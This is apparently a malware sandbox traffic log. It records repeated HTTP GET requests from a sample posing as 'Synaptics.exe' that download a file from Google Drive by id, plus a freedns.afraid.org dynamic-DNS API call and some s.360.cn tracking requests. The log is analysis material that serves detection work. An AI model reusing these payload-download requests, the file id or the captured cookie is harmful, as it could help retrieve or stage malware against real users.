Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
